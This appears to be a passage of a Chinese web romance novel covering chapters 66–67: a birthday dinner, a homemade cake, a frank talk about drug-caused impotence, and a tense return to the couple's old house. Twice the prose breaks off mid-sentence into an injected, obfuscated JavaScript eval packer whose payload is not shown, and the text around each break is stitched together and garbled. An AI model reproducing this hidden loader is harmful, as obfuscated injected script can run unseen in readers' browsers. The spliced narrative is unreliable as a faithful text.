最近邵既明最常去的地方,是隔了几条街的一家老字号中式点心店。他总在下午阳光最好的时候出去,一去就是一两个小时。南景从不过问,只当他是喜欢那家的口味。邵既明也从不解释,只是每次回来,身上会带着淡淡的面粉和烘烤过的气息。 一晃,到了南景生日这天。一个微妙的日子——距离他们彻底分开,整整五年。 邵既明下午就出了门,比平时更早,出门前仔细整理了衣着,甚至还对着玄关的镜子抿了抿头发。他们晚上约了周冉和秦朗一起吃饭庆祝。出门时,邵既明破天荒地没像往常那样等着和南景一起走,而是站在门口,手指无意识地捻着外套的拉链:“南景,你先过去吧。餐厅地址我知道。我……我晚一点,自己过去。” 南景正弯腰穿鞋,闻言动作顿了一下,抬眼看他。邵既明避开了他的视线,耳根有些泛红,像是藏着什么秘密。南景看着他微微紧绷的侧脸和那点不易察觉的羞赧,没有多问,只是点了点头:“好。路上小心。” 既然已经决定重新接纳邵既明,既然心防已破,冰已消融,南景便不再让自己沉溺于回顾过,重要的是当下。他独自先去了餐厅。 到得早了些,南景在餐厅却意外遇到了一个有过几面之缘的同行,也是来这家餐厅用餐。两人便站在门口聊了几句,话题自然绕到了最近市场动向和一个双方都感兴趣的投资案。 就在这时,一辆黑色的轿车停在路边。邵既明下了车。他手里小心翼翼地捧着一个四四方方、系着深蓝色缎带的白色蛋糕盒,盒子上没有任何店铺logo,看起来很质朴。他一下车,目光就下意识地寻找南景,然后,定格在了餐厅门口那个熟悉的身影上——以及,南景身边那个正在与他谈笑风生的陌生男人。 邵既明的脚步倏地停住了,像是被钉在了原地。傍晚的风吹动他额前的碎发,他站在那里,手里紧紧捧着那个蛋糕盒,几乎要捏皱那□□的盒身。他就那么盯着不远处的两人,看着南景脸上那抹他熟悉的笑意,看着那个陌生男人侃侃而谈时靠近的姿态。血液似乎一瞬间冲上头顶,又瞬间褪去,留下冰凉的麻木。他动弹不得,也无法移开视线,只是死死地看着,胸膛微微起伏,所有的声音和周围的喧嚣都仿佛远去,只剩下自己擂鼓般的心跳,和一种恐慌感丝丝缕缕地从脚底蔓延上来,即使理智知道这没什么,即使南景早就给了他承诺,但那五年被抛下的阴影,和此刻“南景在对着别人笑”的画面重叠,还是像一根细小的刺,扎进了他最脆弱的地方。 南景正听着同行的话,目光无意间掠过街边,恰好看见了僵立不动的邵既明,和他怀里那个醒目的蛋糕盒,以及他脸上那种震惊、无措和苍白。南景脸上的笑容顿了一下,随即对同行低声说了句“抱歉,朋友到了”,对方了然地点头,又寒暄两句便先进了餐厅。 南景这才转身,朝仍旧站在原地的邵既明走去。目光落在邵既明紧攥着蛋糕盒、指节发白的手上,然后抬起眼,看向邵既明有些失焦的眼睛,很轻地笑了笑,朝他招了招手。 邵既明眼神重新聚焦,他看见南景对他笑,对他招手,那笑容里没有疏离,没有被打扰的不耐。紧绷的心弦骤然一松,他深吸一口气,捧着蛋糕盒,迈开有些僵硬的腿,快步走了过去。 走到南景面前,邵既明停下,抬起头看着他,嘴唇动了动,却没发出声音。他看起来还有些残留的怔忡,眼睛一眨不眨,像是要确认眼前的人是真实的,刚才那一幕只是自己过度敏感下的错觉。 南景看着他这副模样,目光又落回他手里那个系着漂亮缎带的盒子上,眼底的笑意深了些,语气温和地问道:“这是……给我的?” “……嗯。”邵既明终于找回了自己的声音,有些干涩。他将手里的蛋糕盒往前递了递,“我……我自己做的。学了一段时间。不太好看……但,味道应该还可以。我试了很多次。” 原来那些下午独自出门,那些身上沾染的甜香,那些明亮又藏着秘密的眼神,都是为了这个。为了在他生日这天,送上一个亲手制作或许不完美却倾注了心意的蛋糕。五年了,这是第一个,由邵既明亲手为他准备的生日礼物。不,或许应该说,这是邵既明真正学会如何去爱、去表达后,送出的第一份心意。 他伸出手,不是随意地接过,而是郑重地、用双手,接过了那个不算轻的蛋糕盒。他低头看着盒子,又抬眼看向邵既明,眼神是前所未有的柔。“我知道了。谢谢。很用心。” 他知道了。知道他为什么总去点心店,知道他偷偷学了多久,知道这份礼物背后,是一个曾经不懂珍惜、如今笨拙学爱的人,小心翼翼捧出的一片真心。 “走吧。”南景说,捧着蛋糕盒,转身准备进餐厅。 邵既明看着他的背影,又看了看他小心拿着的蛋糕盒,心脏在胸腔里欢快地跳动着。他犹豫了一下,手指蜷缩又松开,然后,像是鼓足了毕生的勇气,快步上前一小步,伸出手,轻轻地、带着试探地,牵住了南景空着的那只手。 南景的脚步顿住,侧过头看他。 邵既明的脸以肉眼可见的速度迅速涨红,连脖颈都染上了绯色,但他没有退缩,只是紧紧抿着唇,眼神执拗地看着南景,手指有些颤抖,却坚定地握着,不肯松开。他在害怕,怕被拒绝,怕这唐突的举动破坏了刚刚好转的气氛,但他更怕……错过这个能紧紧握住的机会。 南景的目光在他通红的脸上停留了两秒,又低头看了看两人交握的手。邵既明的手心有些汗湿,温度却很高。然后,他抬起眼,对上邵既明那双紧张的眼睛,微微弯了弯唇角。 他没有说话。 但也没有抽回手。 他就这样,一手捧着那个承载了太多心意的蛋糕盒,一手任由邵既明紧紧牵着,转身,并肩走进了餐厅温暖明亮的灯光里。 餐厅是秦朗精心挑选的,一家以隐秘性和精致融合菜著称的高级场所。他们所在的包厢更是被特意布置过,柔和的水晶灯下,长桌上铺着浆洗挺括的雪白桌布,中央是盛放的白色百合与香槟玫瑰交织的花艺,散发着清雅的香气。墙壁上装饰着优雅但不浮夸的金色气球,角落还有个小巧的、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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他抠了抠南景的手心,松开了南景的手,然后走到南景的座位旁,替他拉开了椅子。等南景坐下,他才在南景旁边的位置坐下,拿起桌上的热毛巾,仔细地擦了擦手,然后开始研究菜单,完全无视了对面那两双炯炯有神写满八卦和震惊的眼睛。 秦朗被邵既明这副目中无人的淡定样子气得差点仰倒,他一屁股坐回椅子上,抓起面前的冰水灌了一大口,才拍着胸口,痛心疾首地看着南景:“大舅哥!你跟我说实话!是不是这臭小子又给你下什么蛊了?还是你被他这段时间的乖巧假象给蒙蔽了?这手是能随便牵的吗?!牵了是要负责的!你知不知道?!” 南景正接过邵既明递过来已经翻开到主菜页的菜单,闻言,抬起眼皮,淡淡地扫了秦朗一眼:“秦总,法律规定牵手需要负民事责任?还是你秦氏集团新增了牵手监管业务?” “噗~哈哈!”周冉没忍住,笑出了声,肩膀耸动。 秦朗被噎得一哽,脸涨得通红:“我不是那个意思!我是说……是说……这影响!这氛围!这……这暧昧的酸臭味!而且你看他!一副得了便宜还卖乖的死样子!眼里还有没有我这个哥了?!” 邵既明这时正好指着菜单上一道香煎鹅肝,侧头低声问南景:“这个,你上次说想试试清淡点的,今天有松露酱,会不会腻?” 南景凑过去看了眼,点点头:“可以,酱料分开放。”然后才重新看向秦朗,脸带笑意:“秦总,你今年贵庚?还需要弟弟时时把你放在眼里才能确认自己的存在感?” “哈哈哈哈!”周冉这次彻底笑出了声,歪倒在椅子上,指着秦朗,“秦朗,你也有今天!被怼得哑口无言!南景,干得漂亮!我就说你这张嘴,真要毒起来没几个人受得了!” 秦朗气得直翻白眼,指着南景:“你……你你你!南景!我发现了!你现在跟着邵既明学坏了!你以前不这样的!你以前多高冷!多端庄!多优雅!现在居然会怼人了!还怼得这么刁钻!是不是他!”他又指向邵既明。 邵既明已经按铃叫来了侍者,开始点菜,完全不受干扰:“前菜要香草蜗牛和海鲜塔。主菜一份香煎鹅肝,酱料分开放,一份惠灵顿牛排,三分熟。汤要黑松露蘑菇汤。沙拉油醋汁分开。甜品……”他顿了顿,看向南景,眼神询问。 “你定。”南景说。 “那要一份提拉米苏,一份熔岩巧克力,餐后上。”邵既明对侍者说完,合上菜单。 秦朗看得目瞪口呆,等侍者出去,才找回自己的声音:“你……你什么时候对这家店这么熟了?连南景想吃清淡点的都知道?” 邵既明拿起水杯喝了一口:“来之前看过菜单。他平时饮食有偏好。” 周冉托着腮,饶有兴致地看着这一幕,火上浇油:“秦总,认命吧。你这弟弟,现在是眼里心里胃里,都只有你家大舅哥了。你嘛……勉强算个添头。” 秦朗捂着胸口,做出一副心碎欲绝的表情:“老婆!你怎么能这么说我!我还是不是你的亲亲老公了!还有你,邵既明!我白疼你这么多年了!有了……有了南景就不要哥了!你个小白眼狼!” 邵既明终于舍得分给他一个眼神,甚至带了点“你好吵”的意味,然后夹起一块餐前面包,仔细地抹上黄油,放在了南景面前的盘子里。 秦朗:“……”我他妈……算了,不跟病人一般见识! 南景看着盘子里抹好黄油的面包,又看看秦朗那副快要表演当场吐血的滑稽模样,脸上笑意不减。他拿起面包,慢条斯理地咬了一口,然后对秦朗说:“秦总,与其关心我们牵不牵手,不如想想等会开哪瓶酒,能配得上你精心布置的……气球盛宴?” 秦朗立刻被转移了注意力,又嘚瑟起来:“那必须是我珍藏的罗曼尼康帝!为了给你过生日,我特意带来的!保证……” “你带了康帝?”周冉打断他,眯起眼,“秦朗,那酒你不是说留着我们金婚纪念日喝吗?” “……老婆,你听我解释!” 餐桌上的气氛终于彻底活络(鸡飞狗跳)起来。菜一道道上来,邵既明几乎承包了给南景布菜的全部工作。他知道南景的口味,知道他不喜欢食物在盘子里混在一起,会把配菜小心地拨到一边;知道他对某些香料敏感,会提前挑出来;看到他多看了一眼某道菜,下一勺必定会落在他碗里。 南景大部分时间安静地吃着,听着秦朗吹嘘他的酒和品味,偶尔被周冉犀利吐槽,气氛居然有种诡异的和谐热闹。邵既明虽然不怎么参与斗嘴,但会在南景被秦朗的歪理说得微微蹙眉时,低声说一句“别理他”,眼神里是全然的维护。 秦朗一边痛饮美酒,一边看着对面那两人一个自然照顾、一个坦然接受的互动模式,心里那点最初的震惊和“白菜被猪拱了”的悲愤,渐渐化成了复杂的感慨,还有一丝……老父亲般的欣慰。他凑近南景,压低声音:“大舅哥,说真的,谢了。我弟他……现在这样,挺好。比以前那死样子顺眼多了。” 南景看了他一眼,端起酒杯,和他轻轻碰了一下,没说话,但眼神里的温和代替了言语。 饭吃到一半,气氛正酣。南景放在桌面的手机屏幕亮了一下,他看了一眼,是条工作信息。他抬头,对桌上三人说:“你们先吃,我去隔壁包厢打个招呼。刚在门口碰到了个合作方,他们也在。” 邵既明正抬起头,看向南景,眼神瞬间变得有些紧张,但很快被压制下去。他嘴唇动了动,似乎想说什么,最终只是轻轻“嗯”了一声,然后低下头,拿起自己的勺子,无意识地搅动着面前那碗汤,指尖微微收紧。 秦朗和周冉也停下了交谈。秦朗看了看南景,又飞快地瞟了一眼瞬间沉默下来的邵既明,心里那根关于“弟弟情绪”的警报天线“唰”地竖了起来。 南景将邵既明那一瞬间的停顿和细微的紧张尽收眼底。他站起身,没有立刻离开,而是伸出手,在邵既明低垂的发顶上,极轻地揉了一下。 “很快回来。”他对邵既明说。 然后,他对秦朗和周冉点了点头,便转身,走出了包厢,并轻轻带上了门。 邵既明维持着低头的姿势,手里依旧无意识地搅动着汤勺,只是动作更慢了些。他没有抬头,也没有说话,浓密的睫毛垂着。只有微微绷紧的肩线,和那停在汤碗里、不再搅动的勺子,泄露了他并非全然的平静。 秦朗和周冉对视了一眼。秦朗清了清嗓子:“咳,那什么……既明啊,这汤凉了不好喝,要不让服务生换一碗?” 邵既明这才像是被惊醒,缓缓抬起头。“不用,哥。我吃饱了。” 但他没有碰那碗汤,也没有再动筷。手指在桌下,无意识地,轻轻摩挲着另一只手腕留下疤痕的地方。 66. 这剧情太虐了! 周冉拿起湿巾擦了擦手,起身说了句“补个妆”,便袅袅婷婷地走进了包厢自带的洗手间,门扉轻掩。 邵既明依旧维持着南景离开时的姿势,背脊挺直地坐着,目光落在面前那碗早已凉透的汤上,手指在桌下无意识地、反复摩挲着自己左腕那几道疤痕。他的眉头微微锁着,不是之前那种全然的惶惑,有焦虑、羞耻和难以启齿的烦躁。 秦朗正夹起最后一块鹅肝,美滋滋地送进嘴里,一抬眼,看见自家弟弟这副心事重重的死样子,心里那根警报天线又“滴滴”响了起来。他放下筷子,灌了口酒,决定发扬一下兄长的关怀,压低声音,凑过去一点:“喂,既明,发什么呆呢?南景不就出去打个招呼,又不是私奔,至于么你。” 邵既明像是被他突然的靠近惊了一下,抬起头看向秦朗。他嘴唇抿了抿,眼神闪烁,飞快地问了一句:“哥……我……我还是硬不起来,怎么办?” “噗!!!” 秦朗嘴里那口还没来得及咽下去的酒,当场化身微型喷泉,呈放射状喷了出来!好在他反应快,猛地扭头,但还是有几滴溅到了桌布。他呛得惊天动地,捶胸顿足,脸憋得通红,眼睛瞪得像铜铃,死死盯着邵既明,仿佛听到了本世纪最惊悚的恐怖故事。 “卧~槽!!!”秦朗好不容易顺过气,第一声就是破了音的惊呼,他拍着桌子,也顾不上压低声音了,“邵既明!你他妈……你刚才说什么?!硬……硬不起来?!你们……你们已经试过了?!卧槽!南景这么禽兽的吗?!你这才好了几天啊?!他就迫不及待了?!不对!他看起来不像是急色的人啊!难道是忍了五年终于爆发了?!不对重点是你不行了?!!” 他语无伦次,信息量过大导致CPU过载,脑子里已经自动播放了十万字不可描述的强制爱剧情,并且主角之一还他妈是萎的!这剧情太虐了!他弟弟太惨了! 邵既明被他哥这夸张的反应和一连串的“禽兽”“迫不及待”“不行了”炸得耳朵嗡嗡响,脸瞬间红得能滴血,又羞又恼,连忙摇头,声音都急得变调了:“不是!没有!我们没有!没有睡在一起!我……我是自己试的!还是不行!” 秦朗的咆哮戛然而止,像被掐住脖子的公鸡。他眨巴眨巴眼睛,消化了一下这个信息。“自己试的?”他重复了一遍,表情从“惊天大瓜”变成了“原来如此……但好像还是哪里不对”,“哦……自己试啊。那……那你问过唐医生没有?是不是药吃的?” 邵既明像是找到了能正常沟通的渠道,稍微镇定了一点,但眉头依旧紧锁:“问了。唐医生说,是有些药物的副作用导致的。他说我身体在慢慢好转,那些药可以逐渐停掉。但是……”他顿了顿,脸上浮现出一丝迷茫和更深的不安,“至于什么时候能……能好起来,他没说。只说也许哪天突然就好了,也许……需要更长时间,或者……配合别的治疗。” 秦朗摸着下巴,一脸“这个问题超纲了”的为难表情。他虽然号称万花丛中过,片叶不沾身,但关于药物导致不举何时能恢复这种专业又涉及男性尊严的疑难杂症,他还真没经验。他苦恼地挠挠头:“这事……哥真不知道啊。你哥我……向来只有帮帮硬、下不去的时候,”他挺了挺胸,莫名有点骄傲,随即又意识到不对,赶紧补充,“没有硬不起来的时候啊!这题超纲了兄弟!” 就在这时,洗手间的门“咔哒”一声开了。周冉走出来,恰好听到了秦朗最后那句“没有硬不起来的时候”。她脚步顿了顿,漂亮的眉毛挑得老高,慢悠悠地走回座位坐下,眼神在秦朗和一脸灰败的邵既明之间扫了个来回慵懒开口:“什么硬不起来?”她先是看向秦朗,“秦朗,你废了?啧,看来我真得考虑换个趁手的了。” 秦朗瞬间炸毛,差点从椅子上跳起来:“卧槽!老婆!没有的事!我天天金枪不倒、屹立不摇!我怎么可能会废!你别听风就是雨!我对你的心天地可鉴,我的肾金刚不坏!不行不行,老婆,咱们这,妈也见了,传家宝也收了,爷爷奶奶也给红包了,爹……爹不管他。秦朔也给你跪下唱过征服了,”最后眼巴巴地看着周冉,“咱什么时候去把那个证儿领一下呗?给我个名分,让我死也死得瞑目啊!”虽然婚礼有了,蜜月度了(虽然鸡飞狗跳的吧),但法律上的小本本,秦总还是很执着的。 周冉白了他一眼:“别逼我在你最开心的时候,扇你。” 秦朗立刻顺杆爬,贱兮兮地凑过去:“啧,老婆又要奖励我啊?这次想扇左边还是右边?我脸皮厚,耐扇!” “秦朗!!”邵既明忍无可忍,低吼了一声,脸都气白了。他在这儿着急上火,他哥还在那儿打情骂俏、满嘴跑火车! “哎哎哎,在在在!”秦朗这才想起旁边还有个水深火热的弟弟,赶紧坐正,清了清嗓子,努力摆出靠谱兄长的样子,“那个……既明啊,这个,哥虽然没经验,但哥有常识!要不……你吃点那种药?就电视广告里天天放的那种,他好我也好?或者找中医调理调理?兴许有用?” 邵既明脸色更难看,想解释:“我不是……” “你手断了?嘴坏了?”周冉突然打断了邵既明的话,她没再看秦朗,而是转向邵既明,语气是那种一针见血的直接。 邵既明被她问得一愣,有些懵:“啊?” 周冉端起酒杯,慢条斯理地抿了一口,眼神里带着点“你这傻子”的意味:“让秦朗教你啊。他除了满嘴跑火车和赚钱,也就那方面活儿还凑合,花样挺多。”她说着,还瞥了秦朗一眼。 秦朗被老婆这突如其来的肯定夸得有点飘,立刻挺起胸膛,对着邵既明拍胸脯:“那是!你哥我可是理论与实践相结合的优秀毕业生!还是周老师教得好,让我打开了新世界的大门,知道原来还能这样那样、七十二般变化!”他挤眉弄眼,随即又想起正事,用过来人的语气对邵既明传授经验,“真的,既明,这事儿吧,有时候就是心理问题,或者……技术问题。你自己瞎琢磨不行,得学习!这样,哥给你发几个教学片种子,你回去自学成才,好好钻研,理论结合实践,懂否?说不定看着看着,一刺激,它就……自己好了!” 邵既明被这夫妻俩一唱一和说得面红耳赤,又急又羞,他张了张嘴:“可是……” “可是什么可是。”周冉再次打断他,这次,她收敛了脸上那点戏谑的笑意,眼神变得认真透彻,看着邵既明。 “邵既明,你听着。南景那个人,我认识他多少年了?清心寡欲得跟个得道高僧似的,身边男男女女什么样的没有?他看过谁一眼?他在乎的是这个吗?” “他看重的从来都是感情,是真心,是两个人在一起那份踏实和安心。你们之间经历了那么多,好不容易才走到今天这一步,他开始重新接纳你,是因为你这个人,因为你对他那份不要命的依赖和爱,因为你现在努力变好的样子。不是因为你能硬多久,活儿有多好。” “那些事,是锦上添花。是感情到了,水到渠成的一部分。有了,是情趣,是享受。没有,或者暂时没有,天也不会塌下来。南景要是只图那个,他至于独身五年?至于在你变成那副鬼样子的时候还伸手拉住你?” 她看着邵既明因为这番话而微微睁大的眼睛,和渐渐褪去羞窘、变得专注的神情,语气放缓了些:“所以,别本末倒置。你现在该想的,是怎么把身体彻底养好,怎么把那些该死的药一点点停掉,怎么让南景看到你一天比一天健康,一天比一天像个正常人。至于别的……顺其自然。该好的时候,它自然会好。就算……万一真的需要更长时间,或者有点小问题,那也不是世界末日。两个人在一起,办法总比困难多。重要的是,你在他身边,他也愿意让你在身边。懂吗?” 他怔怔地看着周冉,看着这个总是慵懒毒舌、仿佛对什么都不太上心的大表嫂,此刻眼神清明,话语直指核心。 是啊……他在急什么呢?南景要的,从来不是这个。南景要的,是一个健康的、好好的邵既明。是一个能陪在他身边,分享生活,彼此依靠的伴侣。性很重要,但不是全部,更不是他们关系的基石。他们的基石,是那些深夜的拥抱,清晨的咖啡,无声的陪伴,和那句“我会好好照顾你”的承诺。 邵既明紧绷的肩膀慢慢松懈下来,脸上那种羞愤和焦虑逐渐被一种沉静的思考取代。 “我懂了,嫂子。”他再抬起头时,眼神清明了许多,“谢谢。” 秦朗在旁边听得一愣一愣的,看看周冉,又看看邵既明:“……老婆,你居然会说人话?还说得这么有道理?” 周冉斜睨他一眼,瞬间切换回慵懒模式:“不然呢?跟你一样,满脑子黄色废料和馊主意?” 秦朗立刻嬉皮笑脸地贴过去:“我这不是调节气氛嘛!你看,既明这不就想通了?还是老婆厉害,一句话顶我一百句!不过老婆,关于领证的事……” “吃饭。”周冉夹起一块西兰花,塞进秦朗嘴里,成功堵住了他的唠叨。 邵既明看着哥嫂斗嘴,心头的重压似乎减轻了不少。他重新坐直身体,目光不由自主地飘向包厢门,期待着那个熟悉的身影归来。 就在这时,门被轻轻推开。南景回来了。 生日宴在一种温(吐)馨(槽)和微妙感动的诡异和谐中,接近尾声。南景脸上从始至终都带着淡淡笑意,是酒精和氛围共同作用的结果,也因身边邵既明始终安静而专注的陪伴。 侍者推着一个铺着洁白蕾丝桌巾的小餐车进来,上面摆放的,正是邵既明亲手制作小心保管至今的生日蛋糕。当覆盖的银色圆顶被揭开时,连见多识广的周冉都轻轻“呀”了一声。 那是一个不算太大、但极其精致的奶油蛋糕。纯白的鲜奶油抹面光滑如缎,边缘装饰着简洁的巧克力刨花。蛋糕正中央,没有俗气的寿星公或糖塑,而是用深褐色的巧克力酱,极其细腻、甚至堪称专业地,勾勒出了一幅微缩的线条简练却神韵十足的风景——是圣家堂高耸的塔尖和斑斓彩窗的抽象轮廓,下方还有蜿蜒的曲线,似是巴塞罗那的海岸线。旁边用同样色泽的巧克力酱,写着清秀的“Happy Birthday, Nan”。没有花哨的配色,没有堆砌的装饰,但那份沉静的用心和与南景旅行记忆的隐秘勾连,让这个蛋糕瞬间有了灵魂。 “哇……邵既明,你可以啊!”秦朗凑近了看,啧啧称奇,“这真是你做的?不是去那家店定做的?这线条,这裱花……你偷偷拜师了?” 邵既明耳根微红,站在南景身边,目光紧紧锁在南景脸上,观察着他的反应:“练了很久……还是有点歪。” 南景的目光长久地落在那幅巧克力“圣家堂”上。巴塞罗那的记忆瞬间涌来——阳光,彩窗,崩溃,守候,以及……最终那个决定性的拥抱和承诺。这个蛋糕,像一把温柔的钥匙,开启了他心底关于那座城市、关于他们关系转折的所有封印。他抬起头,看向邵既明,眼神是前所未有的柔和,清晰可见的触动。 “很漂亮。”他轻声说,“谢谢。我很喜欢。” 蜡烛被点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“结果呢?在巴塞罗那,就因为我老婆给琪琪看了张照片,琪琪随口说了句‘南景叔叔要有男朋友了’,他就当场碎了杯子,攥着玻璃不撒手,魂都没了。后来唐医生说,那是他觉得你要有别人了,光要灭了。”秦朗重重叹了口气,“我这才明白,他之前说什么看着你幸福就行,全他妈是屁话!是自我安慰,是走投无路下的幻想!他对你的感情,根本就不是看着就行!是听都听不得这些话!是哪怕只是可能,都能要了他半条命!” 秦朗的声音有些发哽,“大舅哥啊,我说这些,没别的意思。就是想告诉你,这小子,对你……是没救了。天地可鉴,日月可表,虽然方式混账,过程操蛋,但这心……是真的。所以……” 他停顿了一下,似乎有点难以启齿,但最终还是硬着头皮,用更小的声音,飞快地说道:“所以……你别嫌弃他。啊。虽然他……他可能那方面暂时有点问题,不举了……但他手还在,嘴也还在嘛!办法总比困难多,对吧?你们……好好的就行。” 南景原本沉静地听着秦朗这番难得走心的告密和剖白,前面还微微动容,眼神深沉。听到最后那句“手还在,嘴也还在”,饶是他定力惊人,也终于没忍住,嘴角抽搐了一下,然后,对着秦朗,清清楚楚地,翻了一个矜持而标准的白眼。 那眼神仿佛在说:秦朗,你脑子里除了这些,还能不能装点别的? 秦朗被这白眼噎得讪讪,摸了摸鼻子,嘟囔道:“我这不是……关心你们嘛!我这当哥的,容易么我!” 南景没再理他,端起茶杯,慢慢喝着,目光却若有所思地落在了邵既明空着的座位上。 笨蛋。 如果真的能做到,又何至于崩溃成那样。 还好……我回头了。 还好,没有真的让那束光,在他眼前彻底熄灭。 这时,邵既明从洗手间回来了,脸上还带着点水珠,眼神清亮。他看到南景和秦朗之间略显沉默的气氛,脚步顿了顿,随即走到南景身边坐下。 生日宴正式结束。一行人走出包厢,来到餐厅门口。夜风带着凉意,城市灯火璀璨。 周冉忽然碰了碰南景的胳膊,示意他走到旁边一点。 邵既明看到了,脚步动了动,似乎想跟,但最终还是站在原地,目光追随着他们。 周冉凑近南景:“南景,找个时间……去邵既明原来住的地方看看。” 她顿了顿,美丽的眼睛在夜色中闪着微光,红唇勾起一个意味深长近乎神秘的弧度。 “尤其是书房,还有……卧室。” 她的目光若有似无地扫过不远处安静等待的邵既明,又看回南景,语气轻松,说出的内容却让人心底微微一凛:“受不了的话……记得报警。” 说完,她不再多言,对南景眨了眨眼,便转身,踩着高跟鞋,摇曳生姿地朝着秦朗开过来的车走去,留下南景一个人站在原地,消化着这句没头没尾、却令人莫名不安的提示。 夜风吹动南景额前的碎发。他望着周冉的背影,又回头看了看正关切地望着他的邵既明,眉头微微蹙了起来。 书房?卧室? 报警? 周冉从不无的放矢。她这么说,必然是在秦朗那里,或者通过别的渠道,知道了些什么关于邵既明独居那五年,不为人知的、极端的事情。 那五年,除了病痛、药物和自我放逐,邵既明还做了什么? 南景的心,缓缓地沉了下去。刚刚因为生日和蛋糕而升起的暖意,被一阵突如其来的疑虑和沉重所覆盖。 看来,有些真相,或许比他想象的,还要深,还要暗。 他走向等待的邵既明,脸色如常。 是该去“看看”了。看看那被邵既明独自囚禁了五年名为“过去”的牢笼里,究竟还藏着怎样骇人的光景。 67. 他靠偷窃我的生活痕迹活着 轿车平稳地行驶在夜色中,窗外的街景流光溢彩,却又飞速倒退。邵既明起初安静地坐在副驾驶,看着南景轮廓分明的侧脸在明明灭灭的光影中显得沉静而专注。 然而,当车头一拐,驶入一条两旁栽满高大法国梧桐的静谧道路时,邵既明的心脏猛地一跳。这条林荫道太熟悉了,每一处弯道,每一盏路灯的位置,都瞬间激活了他脑海深处尘封的记忆。他下意识地坐直了身体,手指微微蜷缩,搭在膝头。 车继续前行,拐进一个更为幽静的别墅区。当那栋熟悉带着小小前院和白色廊柱的房子轮廓,穿透夜色,清晰地映入眼帘时,邵既明的呼吸骤然屏住了。他猛地转头看向南景,嘴唇翕动了一下,却发不出任何声音。是这里……他们曾经的家,是最终分崩离析、南景决绝离开的地方。 南景没有看他,只是将车缓缓停在了别墅紧闭的大门前。 邵既明觉得安全带突然变成了勒紧喉咙的绳索,他无意识地抓紧了胸前的带子。喉咙干涩得发疼,他张了张嘴,好不容易才从牙缝里挤出破碎颤抖的声音:“南景……?” 为什么来这里?为什么要回到这个地方?还是……南景终于决定,要带他回来,彻底清理掉那些不堪的过去,包括他藏在这里所有见不得光的秘密? 南景这才侧过头,看向他。“不能去吗?” 不能去吗?他敢说“不能”吗?他有什么资格和立场阻止南景进入这栋名义上仍属于他们共同记忆的房子?尤其,是在南景刚刚重新接纳他、给了他一丝希望的此刻? 他不是怕回到这里,他是怕南景看到里面的一切。那五年里,他被思念和疯狂啃噬时,留下的所有痕迹。那些他赖以生存、却又绝对无法见光的、关于南景的东西,像霉菌一样爬满了这栋房子的每一个角落。他还没来得及收拾,不,或许是他内心深处从未真正想过要彻底清除,那些是他痛苦活着的证据,也是他仅存到扭曲的慰藉。 “……不是。”邵既明听到自己干涩的声音响起,低哑得不像自己的。他垂下眼,避开南景的目光,手指无意识地抠着安全带的边缘。“没有……不能去。”他只是怕,怕那些不堪,怕南景会厌恶,会恶心,会像五年前那样,头也不回地再次离开,并且这次,永远不会回头。 南景没有再说什么,干脆利落地解开安全带,推开车门下了车。他看着南景挺拔的背影绕过车头,站在了紧闭的别墅大门前,仰头看着这栋在夜色中沉默矗立的建筑。 邵既明也机械地解开安全带,推开车门。双脚踩在冰冷的水泥地上时,他甚至感到一阵轻微的眩晕。他走到南景身边,与他并肩而立,却不敢靠得太近。他内心正经历着天翻地覆的交战,一半是想要立刻冲进去,将那些肮脏的东西全部毁掉、藏起来的冲动;另一半却是更深沉的绝望和认命——该来的总会来,他这副早已破碎不堪的灵魂和那些不堪入目的执念,终究要暴露在南景的目光下。 南景没有立刻去开门。他静静地看着眼前这扇熟悉的大门。五年前,他就是从这里离开,带着一身的疲惫、失望和决绝。五年后,他又站在了这里,带着一个病骨支离、执念成狂的邵既明。 他忽然开口:“邵既明。” 邵既明身体一僵,立刻应道:“……嗯?” “这五年,守在这里,守着那些……你觉得委屈吗?” 委屈? 他猛地抬起头,看向南景的侧脸。委屈?这五年来,无数人用这个词形容过他。秦朗骂他自作自受,活该委屈;唐医生说他在自我惩罚,沉浸于委屈;朋友也觉得他偏执可怜,困在委屈里。他们都觉得他委屈,为了一个不再爱他的人,把自己活成这个样子。 邵既明的心剧烈地跳动起来,一种激烈情绪的东西冲上喉咙,冲散了部分恐惧。他盯着南景,眼眶在夜色中迅速泛红。 “不。”他开口,声音嘶哑,“南景,我从来不觉得那是委屈。” 他向前走了一小步,拉近了和南景的距离,目光炽热地锁住南景终于转过来的脸。 “那不是委屈,是归途。是溺水的人,哪怕知道抓住的是一根腐朽的浮木,是刀刃,是毒药,也要死死攥在手里不肯放弃唯一的生路。是我弄丢了我的岸,只能在回忆的苦海里反复沉溺,那是我应得的惩罚,也是我唯一能靠近你的方式。我怎么会觉得委屈?那是我心甘情愿的炼狱。” 南景看着邵既明通红的眼睛,这回答超出了他所有预设的剧本,没有自怜,没有抱怨,只有一种近乎自我毁灭的坦然。 沉默在两人之间蔓延,沉重得能听到彼此的心跳和夜风的呜咽。 半晌,南景才再次开口,他的声音比刚才更低沉,也更清晰:“邵既明,”他唤他的名字,“你爱我吗?” 这个问题如此直接,如此赤裸,在经历了五年分离、崩溃、病痛、小心翼翼的靠近和今夜看似平和的晚餐之后,在这个他们共同开始又共同结束的地方,被重新提起。 邵既明没有任何犹豫,甚至在南景话音落下的瞬间,就重重地、用力地点下了头。泪水终于冲破了眼眶的堤坝,无声地滚落,划过他苍白的脸颊,在下颌汇聚,滴落。但他没有眨眼,没有移开视线,就那样直直地望着南景。 “爱。南景,我爱你。” 他哽咽着,却字字清晰。 “爱根本不会因为几次心碎就喊停。爱是反反复复,是今夜在绝望的深渊里想通了,觉得该放手了,明天太阳升起,看见与你有关的任何一丝光亮,明晚又会心甘情愿地彻底沦陷。是理智在废墟上建起的高墙,总被一个关于你的梦境轻易击垮。南景,我爱你,从来不是选择题,而是我呼吸的方式,是我存活于世,唯一顽固的病症,与证明。” 话音落下,夜风似乎都静止了。只有邵既明压抑的喘息的微响。 